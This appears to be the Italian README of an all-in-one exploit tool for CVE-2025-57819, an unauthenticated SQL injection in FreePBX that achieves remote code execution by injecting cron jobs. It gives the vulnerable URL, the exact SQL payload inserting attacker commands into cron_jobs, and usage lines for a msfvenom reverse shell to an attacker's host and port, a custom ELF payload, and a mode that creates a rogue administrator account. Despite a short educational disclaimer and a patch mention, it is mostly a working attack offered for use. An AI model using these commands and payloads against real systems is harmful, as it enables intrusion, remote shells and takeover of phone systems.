
FreePBX SQLi pre-autenticazione a RCE (CVE-2025-57819) — Exploit all-in-one
Un exploit all-in-one per CVE-2025-57819, un'iniezione SQL non autenticata nel modulo endpoint di FreePBX che porta all'esecuzione remota di codice tramite l'iniezione di job cron.
FreePBX espone l'endpoint admin/ajax.php?module=FreePBX\modules\endpoint\ajax senza richiedere autenticazione (CWE-288). Il parametro brand viene passato direttamente nelle query SQL senza sanitizzazione (CWE-89), consentendo a un attaccante di iniettare istruzioni SQL arbitrarie nel database asterisk.
[Unauthenticated HTTP request]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
│
▼
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
│
▼
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
│
▼
Remote Code Execution
Questo exploit supporta tre modalità:
linux/x64/shell_reverse_tcp tramite msfvenompython3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
Esempio:
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
Questo exploit usa la porta 4452 per la reverse shell e la 4453 per il server HTTP di staging.
--create-user)Crea un nuovo account amministratore FreePBX tramite SQLi. Nessuna reverse shell, nessun reachback, nessun binario richiesto.
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
--payload <path>)Usa il tuo binario ELF invece di generarne uno con msfvenom.
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
requests (pip install requests)msfvenom) oppure un payload personalizzato con --payload--create-user: Nient'altro oltre a Python + requestsL'endpoint vulnerabile è:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
Il parametro brand viene concatenato in un INSERT SQL senza sanitizzazione. L'exploit costruisce l'iniezione come:
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
Il -- finale trasforma in commento il resto della query originale.
FreePBX usa il sottosistema cron di Asterisk. I job cron vengono controllati ogni minuto. Quando la pianificazione (* * * * *) del job inserito corrisponde, il comando viene eseguito come utente di sistema asterisk.
Al termine della sessione (o in caso di timeout), l'exploit invia una SQLi DELETE per rimuovere il job cron iniettato da cron_jobs.
asterisk.cron_jobs con nomi di modulo/job casualiasteriskampusers (se si usa la modalità --create-user)Aggiorna il modulo endpoint alle versioni corrette:
Questo software è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati. L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai il permesso esplicito di testare è illegale. L'autore non è responsabile per qualsiasi uso improprio.